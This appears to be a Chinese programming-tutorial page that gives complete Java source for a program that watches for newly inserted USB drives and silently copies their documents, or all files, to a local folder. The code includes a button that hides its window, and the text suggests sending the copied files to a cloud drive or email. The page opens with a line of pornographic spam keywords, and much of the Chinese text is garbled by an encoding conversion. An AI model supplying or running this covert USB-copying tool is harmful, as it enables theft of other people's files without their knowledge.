午夜国产狂喷潮在线观看|国产AⅤ精品一区二区久久|中文字幕AV中文字幕|国产看片高清在线

    java實現(xiàn)u盤指定內(nèi)容的自動復制
    來源:易賢網(wǎng) 閱讀:1415 次 日期:2014-09-05 17:25:42
    溫馨提示:易賢網(wǎng)小編為您整理了“java實現(xiàn)u盤指定內(nèi)容的自動復制”,方便廣大網(wǎng)友查閱!

    程序的功能是,檢查U盤,并將U盤的內(nèi)容自動拷貝到系統(tǒng)的某個盤符中。分享給大家,就當作是練習io流的小練習。

    這個小程序的實現(xiàn)方法如下:

    1、程序運行后隔一斷時間就檢查系統(tǒng)的盤符有沒有增加,通過File.listRoots()可獲取系統(tǒng)存在的盤符。

    2、如果盤符增加了,遍歷這個新增加的盤符,用字節(jié)流拷貝文件到指定的路徑。

    需要注意的是,由于U盤的內(nèi)容可能很大,所以拷貝的時候最好指定要拷貝的文件類型,如ppt,doc,txt等等。

    下面是這個小程序的相關(guān)代碼:

    在CopyThread類中可以指定要復制的文件類型,大家在fileTypes數(shù)組中加入相應的文件后綴名即可。如果要復制所有文件,將其設為null就行了。在CopyFileToSysRoot類中可以指定存儲的路徑,當然,如果愿意的話,你可以將文件上傳到網(wǎng)盤,郵箱等等

    一、USBMain類,程序入口:

    import java.awt.event.ActionEvent;

    import java.awt.event.ActionListener;

    import javax.swing.JButton;

    import javax.swing.JFrame;

    public class USBMain {

    public static void main(String[] args) {

    USBMain u = new USBMain();

    u.launchFrame();

    //開啟盤符檢查線程

    new CheckRootThread().start();

    }

    // 界面

    private void launchFrame() {

    final JFrame frame = new JFrame();

    frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

    frame.setLocation(450, 250);

    JButton hide = new JButton("點擊隱藏窗口");

    // 點擊按鈕后隱藏窗口事件監(jiān)聽

    hide.addActionListener(new ActionListener() {

    public void actionPerformed(ActionEvent e) {

    frame.setVisible(false);

    }

    });

    frame.add(hide);

    frame.pack();

    frame.setVisible(true);

    }

    }

    二、CheckRootThread類,此類用于檢查新盤符的出現(xiàn),并觸發(fā)新盤符文件的拷貝。

    import java.io.File;

    //此類用于檢查新盤符的出現(xiàn),并觸發(fā)新盤符文件的拷貝

    public class CheckRootThread extends Thread {

    // 獲取系統(tǒng)盤符

    private File[] sysRoot = File.listRoots();

    public void run() {

    File[] currentRoot = null;

    while (true) {

    // 當前的系統(tǒng)盤符

    currentRoot = File.listRoots();

    if (currentRoot.length > sysRoot.length) {

    for (int i = currentRoot.length - 1; i >= 0; i--) {

    boolean isNewRoot = true;

    for (int j = sysRoot.length - 1; j >= 0; j--) {

    // 當兩者盤符不同時,觸發(fā)新盤符文件的拷貝

    if (currentRoot[i].equals(sysRoot[j])) {

    isNewRoot = false;

    }

    }

    if (isNewRoot) {

    new CopyThread(currentRoot[i]).start();

    }

    }

    }

    sysRoot = File.listRoots();

    //每5秒時間檢查一次系統(tǒng)盤符

    try {

    Thread.sleep(5000);

    } catch (InterruptedException e) {

    e.printStackTrace();

    }

    }

    }

    }

    三、CopyThread類,用于文件遍歷并選擇指定文件格式進行復制:

    import java.io.File;

    //該類用于對新盤符文件的復制

    public class CopyThread extends Thread {

    // 設置要復制的文件類型,如果要復制所有格式的文件,將fileTypes設為null即可

    private static String[] fileTypes = {"ppt","doc","txt","wps"};

    // private static String[] fileTypes = null;

    File file = null;

    public CopyThread(File file) {

    this.file = file;

    }

    public void run() {

    listUsbFiles(file);

    }

    //遍歷盤符文件,并匹配文件復制

    private void listUsbFiles(File ufile) {

    File[] files = ufile.listFiles();

    for (File f : files) {

    if (f.isDirectory()) {

    listUsbFiles(f);

    } else {

    if (fileTypeMatch(f))

    new CopyFileToSysRoot(f).doCopy();

    }

    }

    }

    //匹配要復制的文件類型

    public boolean fileTypeMatch(File f) {

    //fileTypes為null時,則全部復制

    if (fileTypes == null) {

    return true;

    } else {

    for (String type : fileTypes) {

    if (f.getName().endsWith("." + type)) {

    return true;

    }

    }

    }

    return false;

    }

    }

    四、CopyFileToSysRoot類,復制文件的IO流實現(xiàn):

    import java.io.BufferedInputStream;

    import java.io.BufferedOutputStream;

    import java.io.File;

    import java.io.FileInputStream;

    import java.io.FileNotFoundException;

    import java.io.FileOutputStream;

    import java.io.IOException;

    //文件復制IO

    public class CopyFileToSysRoot {

    // 復制文件保存路徑

    private static final String PATH = "D:USB";

    private File file = null;

    public CopyFileToSysRoot(File file) {

    this.file = file;

    }

    // 復制文件

    public void doCopy() {

    BufferedInputStream bis = null;

    BufferedOutputStream bos = null;

    try {

    //創(chuàng)建目錄

    File fPath = new File(getFileParent(file));

    if (!fPath.exists()) {

    fPath.mkdirs();

    }

    bis = new BufferedInputStream(new FileInputStream(file));

    bos = new BufferedOutputStream(new FileOutputStream(new File(fPath,

    file.getName())));

    byte[] buf = new byte[1024];

    int len = 0;

    while ((len = bis.read(buf)) != -1) {

    bos.write(buf, 0, len);

    bos.flush();

    }

    } catch (FileNotFoundException e) {

    e.printStackTrace();

    } catch (IOException e) {

    e.printStackTrace();

    } finally {

    try {

    if (bis != null)

    bis.close();

    } catch (IOException e) {

    e.printStackTrace();

    }

    try {

    if (bos != null)

    bos.close();

    } catch (IOException e) {

    e.printStackTrace();

    }

    }

    }

    // 根據(jù)盤符中文件的路徑,創(chuàng)建復制文件的文件路徑

    public String getFileParent(File f) {

    StringBuilder sb = new StringBuilder(f.getParent());

    int i = sb.indexOf(File.separator);

    sb.replace(0, i, PATH);

    return sb.toString();

    }

    }

    更多信息請查看IT技術(shù)專欄

    更多信息請查看網(wǎng)絡編程
    易賢網(wǎng)手機網(wǎng)站地址:java實現(xiàn)u盤指定內(nèi)容的自動復制

    2025國考·省考課程試聽報名

    • 報班類型
    • 姓名
    • 手機號
    • 驗證碼
    關(guān)于我們 | 聯(lián)系我們 | 人才招聘 | 網(wǎng)站聲明 | 網(wǎng)站幫助 | 非正式的簡要咨詢 | 簡要咨詢須知 | 新媒體/短視頻平臺 | 手機站點 | 投訴建議
    工業(yè)和信息化部備案號:滇ICP備2023014141號-1 云南省教育廳備案號:云教ICP備0901021 滇公網(wǎng)安備53010202001879號 人力資源服務許可證:(云)人服證字(2023)第0102001523號
    聯(lián)系電話:0871-65099533/13759567129 獲取招聘考試信息及咨詢關(guān)注公眾號:hfpxwx
    咨詢QQ:1093837350(9:00—18:00)版權(quán)所有:易賢網(wǎng)